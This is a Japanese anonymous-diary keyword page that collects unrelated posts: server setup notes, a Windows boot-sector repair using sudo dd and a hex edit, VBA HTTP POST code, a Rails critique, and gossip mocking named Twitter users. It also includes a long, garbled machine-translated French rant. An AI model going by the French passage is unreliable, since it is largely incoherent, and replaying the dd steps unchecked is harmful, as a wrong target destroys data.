「lib」を含む日記 RSS

はてなキーワード: libとは

2018-12-18

[][][] phpMyAdminの手動インストール

WebサーバーPHPを5.4から7.2に上げました。

phpMyAdminも入れ替えました。

 

環境CentOSNginxPHP7.2 + MySQL

yumコマンドphpMyAdminをインストールしたら、エラーメッセージが出て、インストールできませんでした。

リポジトリで用意されているパッケージが古いのか?何度かやり直しても、yumインストールできませんでした。

 

手抜きを諦めて、手動でインストールすることにしました。

phpMyAdmin インストール コンパイル Nginx」等のキーワードGoogle検索すると、やり方を解説している記事がたくさんヒットしました。

参考

 

手順

  1. WebサーバーSSHリモートログインする。
  2. phpMyAdminの最新版wgetダウンロードする。
  3. ZIPファイルを展開して、フォルダ名を「phpmyadmin」にリネームする。
  4. /usr/share/phpmyadmin にコピーする。
  5. phpMyAdmin用に、Nginx設定ファイルを追加する。
  6. PHP7のセッションフォルダ確認しておく。
    1. PHP関係設定ファイルphp.ini」や、PHP-FPM設定ファイルwww.conf」の中を確認しておく。
    2. session.save_path = "/var/lib/php/session" という記述有効にする。(コメントアウトされていたら、アンコメントしておく)
  7. Nginx設定ファイルテストして、問題なければ再起動する。
    1. $ service nginx configtest
    2. $ service nginx restart
  8. WebブラウザーでphpMyAdminにアクセスしてみる。
  9. phpMyAdminが無事に開いたら、インストール成功!!!

 

まとめ

phpMyAdminは手動でインストールしても、すごく簡単でした。

将来的にバージョンアップすることも考えると、「/usr/share/phpmyadmin」へ直にコピーするのではなく、他の場所コピーして、「/usr/share/phpmyadmin」はシンボリックリンクにしておけばいいかも。

(今回は面倒なので直接コピーしました。)

(PHP) PHPのsession設定を修正しました。

WebサーバーPHPバージョン5.4から7.2に上げたら、PukiWiki1.5.1が正常に動作しなくなりましたが、先ほど問題解決しました。

 

昨夜の調査で、PHPセッション周りにエラーがあることが分かりました。

続きを調べてみると、

/var/lib/php/session

というディレクトリの設定が不適切で、PHPプロセスから書き込みができない状態になっていました。

 

原因は、PHP-FPMインストールした後の設定作業が抜けていたこ

PHPバージョンを上げるときに、PHP-FPMも再インストールしていました。

「/var/lib/php/session」を使う作業ユーザーデフォルトでは「apache」になっているようです。(前の設定を見てないのが不確か)

とりあえず、これを「apacheからnginx」に変更したら、PHPセッションが正常に動作するようになりました。

 

Google検索解決のヒントになる情報がいろいろ得られたので、あまり苦労せずに解決できました。

いつも有益情報提供してくださる皆様にこの場を借りて感謝申し上げます

どうもありがとうございました。

2018-12-09

Nginxの設定メモ

解決方法

参考
やったこ

Ubuntuで以下のようにコマンドを実行してみました。

管理者になる
sudo su -
Nginxインストール
apt install nginx
Nginx関係場所確認
whereis nginx

nginx: /usr/sbin/nginx /usr/lib/nginx /etc/nginx /usr/share/nginx /usr/share/man/man8/nginx.8.gz

Nginx設定ファイルを追加
cd /etc/nginx
ls -la
cd /etc/nginx/conf.d
touch default.conf
vi default.conf

default.confに以下のような内容をコピペしました。

server {
        listen 8000 default_server;
        listen [::]:8000 default_server ipv6only=on;

        root /var/www/html;
        index index.html index.htm;
}
Nginx再起動
nginx -s reload
index.html作成

「/var/www/html」に「index.html」というファイルを作ります

内容を以下のようにして保存します。

<html>

 <head>

  <title>TEST</title>

 </head>

 <body>

  <h1>TEST PAGE</h1>

 </body>

</html>

Chrome確認

WindowsChromeを起動します。

http://localhost:8000」にアクセスします。

上記index.htmlが表示されました。

 

結論

Nginxの設定が抜けてました。

 

アドバイスどうもありがとうございました。

2017-12-26

昭恵instagram上半身裸の男性岩田和親議員ではない

伊万里カフェLIB coffeeのオーナー森永一紀氏

https://www.facebook.com/libcoffee513/photos/pcb.349775828728648/349775528728678/?type=3&theater

既に写真ごと削除されているがInstagram写真自分である旨をコメントしており右眉の上のイボも一致。

日刊ゲンダイ取材も受けている

https://www.nikkan-gendai.com/articles/view/news/220260/1


岩田議員本人が否定しており、写真をみても明らかに違う特徴があったにもかかわらず真偽不明の決めつけを鵜呑みにした恥ずかしいIDは以下の通り

gnta 写ってる(ように見える)岩田和親衆院議員自分じゃないと否定してるけど「本人にしか見えない」って指摘されてる。なんで否定したんだろ https://twitter.com/Kazuchika_Iwata/status/944937034837196802

for2015july このあと岩田和親が#metooツィートします(期待

nihonjindesu80 本当に酷い。この人ファーストレディからね?森友の一件全く懲りて無いんだろうな。これでまた旦那が尻拭いするんだよ。写真自民党議員も何やってんの?いい加減安倍総理の足引っ張るのはやめて頂けませんかね?

silentliberater 私人って議員の裸体写真(いたずら書きアリ)を撮ってアップできるんですね。

death6coin セクシャルパワハラされた議員が#MeTooしてほしいw

oka_mailer 議員が「責任」を取って昭恵夫人がお咎めなし、みたいな展開になっても驚かない。

namatama21 面白くもないし、パワハラだろうし、昭恵氏は政権に打撃を与えようとしているとしか思えない。 前々から比例復活議員は党内でも立場よくならないんじゃないかと思っていだが、やはりいい扱いは受けないのか。

napsucks 実際は地方議員気合応援意味張り手したあとなんだろうけど、乱痴気騒ぎのキスマークと誤解されかねない写真でもあるな。



gnta 写ってる(ように見える)岩田和親衆院議員自分じゃないと否定してるけど「本人にしか見えない」って指摘されてる。なんで否定したんだろ https://twitter.com/Kazuchika_Iwata/status/944937034837196802

一番ひどいのはこいつかな?

どこの馬の骨かわからない奴の「本人にしか見えない」って指摘に何の意味があるとおもったんだろうこの馬鹿

こんなコメントスターがいっぱいついてるのもやばい

2017-10-25

ツイッターで盛り上がっているおひつの件

だそうで。

なんだって


今年の結婚祝いで旅館へ泊まった時、

私「いやっほうー!ごちそうだー!」

嫁「飲むぞー!食うぞー!」

私・嫁「ヒャッハー!」

って感じでおひつ場所なんか気にしなかった。

からといって、ふーんでやり過ごしたら、無意識的に差別を行う場合があるから意識しようぜ!

ってことなのかな。

2017-10-14

Je travaille en tant qu'ingénieur dans le domaine informatique, mais j'ai réussi à le conserver pendant 2 ans.

Il n'est pas une telle chose comme toujours la confiance en soi, de se sentir même que ne naît pas la confiance en soi de la vie Nante, l'excellence de mes collègues.

Si vous ne le faites pas pour désespérée en réponse à l'désigné pour assignation, nous travaillons tous les jours avec le sentiment de bien pas étrange.

Pourtant, au Japon, je pense que le Japon a beaucoup plus de compétences que les CTO dans ce domaine.

À l'avenir, mais je pense que si vous pouvez contribuer à la société du Japon au Japon, le Japon visible de l'extérieur est dangereux.

Ce qui est mauvais, premier aspect de la politique.

Politique

Abe de Toka vers le bas, toujours contre qu'il ya des gens stupides que la foi aveugle du Parti libéral-démocrate, que la démocratie est pas pleinement fonctionnel.

Cette autre partie n'est pas non plus bonne. Parti de l'espoir? Quelle est cette dame comme ce disciple de Ru Ooshiba? Rou Koike?

Plus vous ne l'avez pas, le stupide sera couvert de katakana et de psychologie. Vous idiots, vous les gars dites ça. J'aime katakana de toute façon, j'aime la psychologie, 100% je ne dis pas de grandes choses. Qu'est-ce que les dépenses de Y? Neparez pas ce que vous appelez normalement katakana.

tout ce que je pense d'abord parce qu'ils ont terminé le système politique, la politique n'a reçu futile national tout à fait à court terme, surtout qu'il est la cause de l'échec est de ne pas recevoir les personnes âgées. Nous n'allons donc pas attaquer uniquement le PLD.

Il est trop fatal que la politique ne soit pas rationnelle et qu'il soit impossible d'inclure la politique qui devrait être faite. Parce qu'il se termine par poppiness si je ne peux pas voter.

Malheureusement, la tendance à changer le système politique ne se produira probablement pas si elle échoue.

Les quelques dernières décennies, je pense que les hommes politiques dans les politiques préférentielles âgées + baisse du taux de natalité ignoré, a été jusqu'à ce qu'une distorsion accélère du taux de natalité en déclin et vieillissement de la population.

Vieillissement de la population du Japon est dans une certaine mesure, il y a aussi une partie qui est présent naturellement dans le monde du faible taux de natalité et vieillissement de la population, je ne « s ce qui se passe dans les phénomènes naturels.

Il n'y a pas d'avenir qui mettrait toute l'énergie nécessaire pour rendre la taxe au vieil homme en franchise d'impôt sur les soins médicaux. Toka grande quantité d'impôt sera utilisé pour le vote des personnes âgées de commodité des politiciens, mais il était déjà trop tard quand je devais me parler Let « s quit bientôt il y a 10 ans, sans correction de cours de Murda, et jusqu'à présent Je vais politiser sur la même route.

Un politicien âgé ne pense pas à une politique de court-circuit, l'avenir. Les citoyens se complaisent dans la politique économique immédiate.

L'herbe pousse maintenant, alors que l'effondrement de la nation est devenu une réalité.

Je Coulez le navire japonais dans les 20 ans après Lorsque vous atteignez cet état déclin du taux de natalité et vieillissement de la population est maintenant de rythme. Il y a deux ans, je pensais avoir 30 ans.

J'ai complètement abandonla politique japonaise. Le divertissement défait n'est pas drôle. Je dis que c'est japonais, mais je ne l'aime pas. Abandonner signifie accepter les échecs.

Ensuite, l'aspect de l'entreprise.

Affaires

Avez-vous eu une entreprise ailleurs que d'enchérir? Je n'ai pas de morceaux de créativité. Il n'y a plus d'éthique.

Qu'est-ce que c'est, Mercari ou DeNA ou une entreprise morale ou quelque chose est un péché social. Je viens de confondre la société, n'est-ce pas? Le pays et le pays ont appris à ne pas connaître l'éthique.

L'éthique des Japonais est inférieure à celle des Japonais.

Mais bon déraillé, passe accident devant les yeux, les caractéristiques nationales prennent des photos fool smartphone ne jamais minorité est dangereux.

Même s'il n'y a de service que là où l'argent est impliqué, ne dites pas l'hospitalité comme si c'était le caractère national des Japonais.

Ce n'est pas une minorité d'être une société complètement individualiste et les gens sont troublés et aident les gens.

A cette époque, de nouvelles activités créatives naissent de l'un à l'autre. C'est à un rythme impensable au Japon. Bien sûr, mais il y a beaucoup de savoir si des affaires suspectes devient l'argent, du tout que la société japonaise sans cerveau ne pouvoir copier une entreprise meilleur tiers.

Donc, presque aucune entreprise ne veut travailler au Japon.

Et la chute de l'entreprise. Presque pas de compétitivité internationale. Même les grandes entreprises seront écrasées.

Par cette population vieillissante est prêt, il ne peut pas contribuer encore à l'ancienne demande intérieure de l » homme ne peut pas voir l'avenir Une fois que vous devenez plein de personnes âgées.

Il n'y a pas de personnes dont le taux de natalité est en déclin. Il semble que les jeunes soutiennent le PLD en pensant positivement qu'il s'agit d'un marché de vente complet.

Il n'y a qu'une seule personne qui ne soit pas simplement une politique d'une population vieillissante déclinant la natalité. Ton avenir est sombre.

Étais-je si stupide que je pensais retourner au Japon? Quoi? Il est certain qu'au moins le champ de vision et l'expérience ont été beaucoup plus bas qu'aujourd'hui.

J'ai vu il y a deux ans leur propre maintenant, je ne sens rien, mais une autre miséricorde.

En effet, il est visible qu'il va s'effondrer dans quelques autres décennies En effet, il ne sera pas possible de revenir au Japon.

Pourquoi dois-je monter à bord d'un navire en train de couler? Mes parents peine de génération Nigekiri, devrions-nous défendre votre propre.

A l'origine, j'aicidé de ne pas faire des enfants de l'avenir incertain de la société, pas moi-même. Je pense que ce choix était juste.

Maintenant, les politiciens, si vous les gars ne sont pas stupides, il va avoir une activité de faillite intentionnelle.

Il est bon que vous soyez seulement intéressé à être inspecté. Je ne sais plus.

À tout le moins, essayez de faire en sorte que les citoyens japonais travaillent dans le monde. Si l'obstacle de visa de travail tombe en panne, alors vous serez en mesure de le faire si vous avez des compétences en anglais.

J'ai eu beaucoup de difficultés. Bien qu'il soit inférieur à l'indigène, je travaille sans problèmes.

Oh, je voulais retourner au Japon. . .

2016-12-21

しょぼんのアクションスマホアプリ化されている件について調べた

2010年ごろにニコニコ動画上で有名になったしょぼんのアクションってゲームがあるんだけど今どうなってるのか調べてみた。

そうしたらとんでもないことになっていた。

結論から言えばあからさまに怪しいデベロッパー二次配布のソースコードを使って

原作者許可無く勝手スマホゲーにしていた。

itunes.apple.com/jp/app/shobonnoakushon-orijinaru/id894330337?mt=8

サポートURL (工事中扱い)

www.gatobros.com/

play.google.com/store/apps/details?id=com.gorkaramirez.syobonactionhalloween

サポートURL (工事中扱い)

www.pipletas.com/syobon/syobon.html

デベロッパーは『Gorka Ramirez Olabarrieta』というらしい。 ドメインWhoisガード適応済みで情報漁れず。

で、サポートURLのページをよく見るとOpenSource扱いになっていた

Original Source. Ported by @jezng using Emscripten.

sourceforge.net/projects/opensyobon/

Mathew Velasquezと呼ばれる人物が作者に許可無くSourceForgeアップロードしたようだ。

sourceforge.net/u/twoscomplement/profile/

で、SourceForgeプロジェクト開設日が下記のとおりになっているが

Registered 2010-05-16

原作者サイトにはもっと過去の時点でゲームが公開されている。下記のInternet Archiveのもの

wayback.archive.org/web/20091223043445/http://www.geocities.jp/z_gundam_tanosii/home/Main.html

で、問題はここから

このSourceForgeプロジェクト、再配布人が下記のライセンスで公開している。

License GNU General Public License version 2.0 (GPLv2)

www.gnu.org/licenses/old-licenses/gpl-2.0-faq.ja.html#DoesTheGPLAllowMoney によると

はいGPLは、誰もが販売することを許可しています。複製を販売する権利自由ソフトウェア定義の一部です。

としている。

SourceForgeに公開されているプロジェクトGPLv2で公開されているので、どうやらスマホアプリとして登場したようだ。

が、まずこれ色々と問題がある

プロジェクトで配布されているソースコード内にはDXライブラリがそのまま含まれているが、規約を守っていない可能性が高い。

dxlib.o.oo7.jp/dxlicense.html より引用する。

&lt;&lt;DXライブラリライブラリファイルソースコードの再配布について&gt;&gt;

 DXライブラリライブラリファイル( 拡張子lib や a のファイル )や、プログラムソースファイル( DxGraphics.cpp や DxLib.h などのファイル )を配布する場合は一部、全部問わず

以下の著作権表記を配布物とともに提供される文書、または他の資料に含めて下さい。

DX Library Copyright (C) 2001-2016 Takumi Yamada.

クレジット表示は探した限り見つからなかった。検証ファイル:SyobonAction_v0.9_src.tar.gz

なお、作者のサイトに商用利用に関する規約が無いとはいえ、さすがに普通に連絡するべきではないだろうか?

(配布ソースコード内には改変可という言葉はあるが商用利用可とは書いていない。)

なお、実行ファイル形式で配布されている物の英語のReadMeには原作者クレジットなし。

どうやらゲームファイルソースコード転載されたようだが、少々違和感がある。

Internet Archive内にあるソースコードSourceForge内のソースコードが違う。

tiku氏のそのまま配布するなを遵守したのだろうか? (配布されているソースコードには日本語が混じっているので非常に怪しいけど)

原作者の動向も分からないし、真実は分からない。

ただ、言えることはしょぼんのアクションスマホアプリとして公開されたのはGPLv2辺りのライセンスになっていたからだということ。

ここまで書いておいてなんなんだけど飽きた。

2016-11-29

第3の抜きサイトを教えてくれ

毎晩、特定のえろサイトを周回していいのを見つけたら抜いて寝るのが習慣になってるんだが、いつも同じのを見てると飽きるので、このサイクルにもう1つなにかのサイトを加えたい。

なにかいいのないかな。ちな今のサイクルはこれ

1. exh**t*i

2. にじえ

以上。気分によってp*rn*ub、sa**akuc*m**exを見ているが、前者は毛色が違うから毎日みたくなるものではない。

後者は主に検索の面倒さからまり活用してない。

d*opb**ks広告邪魔すぎるからやめた。

二*元*ケットをよく第3のサイトとして使ってたが同じ理由でやめた。

l*lib*o*uは閉鎖前は第3のサイトだったが、復活後はしょうもないサイトに成り代わったのでやめた。日本語サイトにはこだわっていない。むしろ日本語サイト広告ばっかりだし、2chスレタイ広告見出しばっかりでむしろお断り。何かいサイトいか

2015-09-20

Windowsシステムディスク入れ替えで躓いた件の備忘録

ちょっとした事情からシステムディスク移設をしたところかなり躓いたので、備忘録的にメモ

時代に逆行して個人的な書き物をする場所を一切持ってないのでお借りします。

以下、Linuxなりの最低限の知識があり、バイトオーダーもわかり、細かいところは勝手に補間できる人向け。

目的

Windows 7システムディスクの入れ替え。

オフセット32256バイトを1048576バイトに調整する。

得てして非AFTからAFTという状況と思われる。

コピー元が壊れかけの時はやらないほうが吉。

手順には省略するがたぶんやらないといけないこと


手順

  1. c:\boot\BCDバックアップ(BCD.org等)
  2. clonezillaとLinux Live USB CreatorをDL
  3. clonezillaのUSB起動ディスク作成(「作成したファイルを隠す」、「LinuxLiveWindows上で起動可能にする」のチェックは外す)
  4. HDD接続し、NTFSフォーマット
  5. msinfo32.exeを実行し、オフセットが1048576になっていることを確認
  6. clonezillaのローカルパーティション→ローカルパーティションでクローニング、オプションは全部デフォルト
  7. HDDのみ接続し(念のためclonezillaのUSBも外す)、Windowsインストールディスクを起動
  8. 最初の画面で「次へ」を選択したらShift+F10でコマンドプロンプトを起動
  9. diskpartを起動、list disk → select disk n → list part → select part n → active し、exit
  10. bootrec /fixboot, bootrec /fixmbrを実行
  11. bcdedit /enum allを実行、随所でdeviceがunknownになっているはず
  12. bcdedit /set {bootmgr} device "partition=C:"等をunknownになっているぶんだけ行う。osdeviceやfiledeviceも。
  13. ほかはツールになにも弄られないようにしてシャットダウン
  14. この状態で起動しようと思ってもカーソル点滅から進まない。ここから先の情報(というか23.)は少なくとも日本語では見当たらなかった。
  15. clonezillaを再度起動
  16. lsblkで/lib/live/mount/mediumとなっているデバイスを調べる(仮に/dev/sdb1。ついでに新HDDシステムパーティションは/dev/sda1と仮定。)
  17. sudo mount -o remount,rw /dev/sdb1を実行(自信があれば/tmpとか使ってもいい。オススメしないけど。)
  18. /lib/live/mount/mediumに移動
  19. sudo dd if=/dev/sda1 of=./pbr.bin bs=512 count=1を実行(/dev/sdaだとMBRになってしまうので注意)
  20. pbr.binのバックアップを取る
  21. sudo vi -b pbr.binを実行
  22. :%!xxd でバイナリ編集できるようにする
  23. 1Cが"3F00"になっているはず。これがhidden sectorsすなわちオフセット。ここを"0008"に書き換える
  24. :%!xxd -rで元にもどし、:wqで保存終了
  25. sudo dd if=./pbr.bin of=/dev/sda1 bs=512 count=1を実行し書き戻し(/dev/sdaだと略)
  26. 祝起動

23.もそうだけど12.もどこにもなかった。(英語は面倒でしっかり読んでない)

2点でめっちゃ躓いたってお話

2015-08-08

新しい画像掲示板ログ庫作った話

きっか

画像掲示板スレッドを見逃してしま

とあるログ庫を漁ろうとするが…

1分で断念してしまった

似たような体験してる人もいるんだろうなと思い

シンプルで使い勝手がいいログ庫を書くことにした

そんなわけでログ庫作った

FTBucket開発サイト

http://dev.ftbucket.info/scrapshot/

「気になったスレッドを"ストック"するとサーバー側で自動追跡

あとでログを読んだりまるごとzipで落とせる」

といったread it laterのような使い方ができる

見た目も元サイトと合わせてシンプル構成にした

zip生成を最適化

zipをつくる機能は可能な限りのチューニングを行って

最終的には高速で軽量なzip生成エンジンを作ることができた

phpmyadminzip.lib.phpを改造

- ファイル個別圧縮/非圧縮を切り替え(CPU節約)

- インクリメンタル生成(メモリ節約)

- オンザフライ生成(ディスク領域節約・即時ダウンロード対応)

縮んだzipが生成待ち時間なしで落ちてくるのは結構おもしろ

他のアプリバックアップなんかにも流用している

他にもいろいろ作りこむ

さらUI/UX改善のためにも内部の作り込みをがんばった

詳細の説明はめんどくさいので箇条書きで失礼する

- mht生成対応

- 自分登録したスレッドの絞り込み検索

- 配信型のP2P対応

- 検索タグの付加

- 機械学習タグ予測

- 組み込み全文検索

- 同一画像の検知と重複排除検索

- 100万ファイル以上に対応する類似画像検索

- 全件一覧が早いNonDBデータストア

etc ...

どれも実装には苦労したけど便利な機能

ログ庫でハゲそうになった経験のある人はぜひ試してみてほしい

2014-10-11

アプリ屋がRailsを初めて触ってみて感じた事

Qiitaに書こうかと思ったけど、言いたいことも言えない、こんな世の中じゃ。

発想が古臭い

モバイルファーストAPIファースト文脈ハイブリッドWebをやってきた目からすると、サーバーサイドでHTMLを生成してページ遷移させるなどという90年代調のクラシカルな発想を基本に据えるフレームワークはとても斬新に思えました。HTMLゴリゴリ生成するなんてよほど特殊最適化をしようとするのでなければそもそも発想として出てこないです。それでいてDSLメタプログラミング等のテクニカル技法宝石のように鏤められている様はまるでエジプト時代骨董品を見るかのような趣がありました。turbolinkなどは、かつて表計算ソフトに出しゃばっていたイルカを思い起こさせる味があります。かつて慣れ親しんできたSPAが星のように遠い存在になりました。

モデルMVC

Web界隈の人々がモデルだとかアクティブレコードだとか"MVC"だとかを非常に具象的に話す様を見るにつけ、お前らどんだけPofEAA読み込んでるんだよと畏怖していた時期が僕にもありましたが、どうやら彼等はRailsクラスディレクトリという特定実装について話していただけだったようです。Modelという概念もこれだけ肥大化してしまったら、オリジナル概念で彼等と会話するのは諦めるべきかなと思いましたし、Railsの"MVC"をアンクォートして語るのはもはや害悪であるとすら感じました。

レールから外れる辛さ

Rails界隈の人がよく「Rails流儀」や「正しい"MVC"」というのを口角泡を飛ばし議論しているのを目にするのですが、おそらく外に広がる不条理で火傷を負って快適なRails世界に引き篭もった結果としての一種のストックホルム症候群なのだなと思いました。いまやAjaxとかWebsocketとかWebRTCとかを組み込もうとする至極真っ当な方法論がとてつもない高難度に見えてきます。設定よりも規約、というのも一つの方向性だと思いますが、ドメインサービスレイヤ名前空間を構築しようとしたりコードジェネレーションしようとしたりしただけで地獄のようなCircular Dependency罰を受けてしまったので、自分がとても間違った事をしているような気がしてしまいました。とはいえConcernsに特別名前役割を与えられても正直しんどいので、皆が皆libゴミを放り込んでいく様子にも納得がいきました。

レイヤ?何それおいしいの

RailsAPIサーバーとして使おうとするとまずビューが無くなってMとCだけになりますが、いわゆる"MVC"の文脈で育ったエンジニアがなぜ息を吸うようにFat ControllerやFat Modelを作ってしまうのかという事が良く分かりました。多くのRailsリファクタ手法と称されているものクラスを書くファイルを分割する事以上のものでは無いように思えたので、Rails使いを大きめなAPIサーバー案件に回すときセットポジションDDD青本を投げつける必要が有るなと思いました。

TDDやれんのか

ビューとコントローラを結合させた場合結合テストはCapybaraとかのBDDマークアップサイドとの干渉を恐れながら強い気持ちでメンテしていくしか無いのかなと思いました。おそらく脳に電極を埋め込んでいるか緑色のランプを見るだけでハイになれる特殊な人にしか生き抜けない闇が垣間見えました。コントローラを薄くしてサービスレイヤを挟めばその辺りもうまくいけそうな気がしましたが、ビューからヘルパーモデルがいくらでも透けて見えてしまうという状況では裏側の完全性に自信を持つ事は難しそうでした。

分業とか出来るんだろうか

ビューがRubyを叩いて永続化レイヤと直接コミュニケーション出来るというのはとても生産性が高いのだろうとは思いましたが、こうして出来たパーシャルやら何やらをデザイナーとどうやって共有するかを考えると頭痛が痛くなりました。おそらく適当に切り出して綺麗な空間をassets以下に構築した上でpublicにRPCのような窓口を備えたゴミを量産していくのかなと思いましたが、もっと綺麗な方法はあるのかもしれません。でもきっとRails案件に関われるデザイナーRubyバリバリ書けるに違いないはずなので、ここが問題になる事は無いのだろうなと思いました。

RESTとかきついです

RESTはとても美しいパラダイムではありますが、そもそもHTTPがさほど美しくないので歪んだ空間には目を背けるか勝手解釈を与える事で人は初めてRESTfulを名乗る事が出来るのだと思いますGETbodyを(公式には)持たないという事について美しい説明を与える事は出来ないでしょう。サーチAPIはどうしますか。ステータスコード足りなくないですか。401エラーはどうしますか。そしてRESTあくまリソース抽象化する美しい概念なので、アクション副作用については貧弱です。動詞が足りないですし、一般動詞に狭義の意味を与えてドキュメントするのは二度手間しか見えません。PUTには冪等性があるべきみたいなこだわりは家の猫にでも説教してればいいと思います。というわけで、REST的な設計拝借することはよしとしても、「○○はRESTでは無い故云々~」みたいな注文はやめて頂きたいものです。

そんなに嫌なら他に行けば

とか言わないで欲しいです。こういう時にセットでPHPをディスって悦に浸るのは知る限りRubiestとPythonistaと中学生だけです。それにこれはあくまサーバーサイド初心者感想なので、想像するにこれ系のFWは多かれ少なかれ似たような不満を抱えるものなのかなと思います。というわけで、おそらくこれから選択肢がある限りはRailsを使い続けると思います

だってRuby楽しいんだもの

2014-05-29

WinInetを使ってVBAでPOSTする

Option Explicit

Private Const INTERNET_OPEN_TYPE_PRECONFIG = 0
Private Const INTERNET_OPEN_TYPE_DIRECT = 1
Private Const INTERNET_OPEN_TYPE_PROXY = 3
Private Const INTERNET_SERVICE_HTTP = 3
Private Const INTERNET_DEFAULT_HTTP_PORT = 80
Private Const INTERNET_FLAG_RELOAD = &amp;amp;H80000000

Private Declare Function InternetOpenA Lib "wininet.dll" (ByVal sCallerName As String, ByVal dwAccessType As Long, ByVal sProxyName As String, ByVal sProxyBypass As String, ByVal dwFlags As Long) As Long
Private Declare Function InternetConnectA Lib "wininet.dll" (ByVal hInternetSession As Long, ByVal sServerName As String, ByVal nProxyPort As Integer, ByVal sUserName As String, ByVal sPassword As String, ByVal dwService As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
Private Declare Function InternetReadFile Lib "wininet.dll" (ByVal hFile As Long, ByRef sBuffer As Byte, ByVal lNumberBytesToRead As Long, ByRef lNumberOfBytesRead As Long) As Long
Private Declare Function InternetCloseHandle Lib "wininet.dll" (ByVal hInternetHandle As Long) As Long
Private Declare Function HttpOpenRequestA Lib "wininet.dll" (ByVal hConnect As Long, ByVal sVerb As String, ByVal sObjectName As String, ByVal sVersion As String, ByVal sReferer As String, ByVal sAcceptTypes As Long, ByVal dwFlags As Long, ByVal dwContext As Long) As Long
Private Declare Function HttpSendRequestA Lib "wininet.dll" (ByVal hRequest As Long, ByVal sHeaders As String, ByVal dwHeadersLength As Long, ByVal lpOptional As String, ByVal dwOptionalLength As Long) As Long

Private Function submitPost(ByRef host, ByRef url_path, ByRef sendString) As Variant

  Dim dataArray() As Byte, dataPosition, dataSize

 'WinInet初期化
  Dim hInternet
  hInternet = InternetOpenA(vbNullString, INTERNET_OPEN_TYPE_PRECONFIG, vbNullString, vbNullString, 0)
  If hInternet = 0 Then
    submitPost = dataArray
    Exit Function
  End If

 'サーバ接続
  Dim hConnect
  hConnect = InternetConnectA(hInternet, host, INTERNET_DEFAULT_HTTP_PORT, vbNullString, vbNullString, INTERNET_SERVICE_HTTP, 0, 0)
  If hConnect = 0 Then
    InternetCloseHandle hInternet
    submitPost = dataArray
    Exit Function
  End If

 'リクエスト初期化
  Dim tmpURL As String * 255
  tmpURL = url_path
  Dim hRequest
  hRequest = HttpOpenRequestA(hConnect, "POST", tmpURL, "HTTP/1.1", vbNullString, 0, INTERNET_FLAG_RELOAD, 0)
  If hRequest = 0 Then
    InternetCloseHandle hConnect
    InternetCloseHandle hInternet
    submitPost = dataArray
    Exit Function
  End If

 'リクエストを送信
  Const strHeader = "Content-Type: application/x-www-form-urlencoded"
  HttpSendRequestA hRequest, strHeader, Len(strHeader), sendString, Len(sendString)

 'データ取得
  Dim readResult, tmpArray(1023) As Byte, tmpPosition, tmpSize
  dataPosition = 0
  dataSize = 0
  Do
    tmpSize = 0
    Erase tmpArray
    readResult = InternetReadFile(hRequest, tmpArray(0), 1024, tmpSize)
    If Not readResult = 1 Or tmpSize = 0 Then
      Exit Do
    End If

    dataSize = dataSize + tmpSize
    ReDim Preserve dataArray(dataSize - 1)
    For tmpPosition = 0 To tmpSize - 1 Step 1
      dataArray(dataPosition) = tmpArray(tmpPosition)
      dataPosition = dataPosition + 1
    Next
  Loop

 'クローズ処理
  InternetCloseHandle hRequest
  InternetCloseHandle hConnect
  InternetCloseHandle hInternet

  submitPost = dataArray

End Function

Public Function downloadFilePost(ByRef targetURL, ByVal sendArray, ByRef savePath) As Boolean

 'URLの分解
  Dim startE, endE, host, url_path
  startE = InStr(1, targetURL, "//") + 2
  endE = InStr(startE, targetURL, "/")
  endE = IIf(startE &gt; endE, Len(targetURL) + 1, endE)
  host = Mid(targetURL, startE, endE - startE)
  url_path = Mid(targetURL, endE)

 'ポストデータエンコード
  Dim jscript
  With CreateObject("ScriptControl")
    .Language = "JScript"
    Set jscript = .CodeObject
  End With
  Dim ix, sendBuffer
  For ix = 0 To UBound(sendArray) Step 1
    sendBuffer = Split(sendArray(ix), "=")
    sendArray(ix) = sendBuffer(0) &amp;amp; "=" &amp;amp; jscript.encodeURIComponent(sendBuffer(1))
  Next
  Set jscript = Nothing

  Dim data
  data = submitPost(host, url_path, Join(sendArray, "&amp;amp;"))

  If LenB(data) &lt;= 0 Then
    downloadFilePost = False
    Exit Function
  End If

 'バイナリで書き込み
  With CreateObject("ADODB.Stream")
    .Type = 1
    .Open
    .Write data
    .SaveToFile savePath, 2
    .Close
  End With

  downloadFilePost = True

End Function

2014-05-21

プログラミング勉強したけどアイデアがないから誰かちょうだい

今年に入ってからプログラミング勉強し始めて、phpjavascriptpythonでとりあえず動くものを作れるようになった。各言語メジャーwebフレームワークも使えるようになったし、過去株価ダウンロードしてmysqlに突っ込んでta-libシストレのバックテストして遊んだり、ニコ動タグ検索結果のクローラー作って新着があればメールで知らせてくれたりするの作ったり、websocketためしてみたりbackbonejsで遊んだりもしてる。ニートから時間無限なのもあるけど、5か月弱でずいぶんできることが増えてきたなと思う。そろそろ何か作って公開してアフィで稼ぎたいなと思い始めた。でも何も出てこない。今月入ってからずっと考えてるのに作りたいものが浮かばない。いくら勉強してもアイデアがなければ無意味なんだと気付いた。誰かアイデアちょうだい

2013-02-24

渋い

The publication in France of our book Impostures Intellectuelles [1] appears to have created a small storm in certain intellectual circles. According to Jon Henley in The Guardian, we have shown that ``modern French philosophy is a load of old tosh.''[2] According to Robert Maggiori in Libération, we are humourless scientistic pedants who correct grammatical errors in love letters.[3] We shall try to explain here why neither is the case.

Some commentators go farther, attacking not our arguments but our alleged motivations for writing the book. Julia Kristeva, writing in Le Nouvel Observateur, accuses us of spreading ``disinformation'' as part of an anti-French politico-economic campaign[4]; she was even quoted (we hope misquoted) by the Italian daily Corriere della Sera as saying that we should undergo psychiatric treatment.[5] Vincent Fleury and Yun Sun Limet, again in Libération, accuse us of seeking to divert research funds from the social to the natural sciences.[6] These defences are curious: for even if our motivations were indeed as ascribed (and they most certainly aren't), how would that affect the validity or invalidity of our arguments? We have the modest hope that calmer heads will soon prevail among both our supporters and our critics, so that the debate can focus on the substantive content of our book.

Which is what? The book grew out of the now-famous hoax in which one of us published, in the American cultural-studies journal Social Text, a parody article chock-full of nonsensical, but unfortunately authentic, quotes about physics and mathematics by prominent French and American intellectuals.[7] However, only a small fraction of the ``dossier'' discovered during Sokal's library research could be included in the parody. After showing this larger dossier to scientist and non-scientist friends, we became (slowly) convinced that it might be worth making it available to a wider audience. We wanted to explain, in non-technical terms, why the quotes are absurd or, in many cases, simply meaningless; and we wanted also to discuss the cultural circumstances that enabled these discourses to achieve such prominence and to remain, thus far, unexposed. Hence our book, the noise and the furore.

2012-09-18

http://anond.hatelabo.jp/20120918173309

書き捨て

https://github.com/tdtds/massr

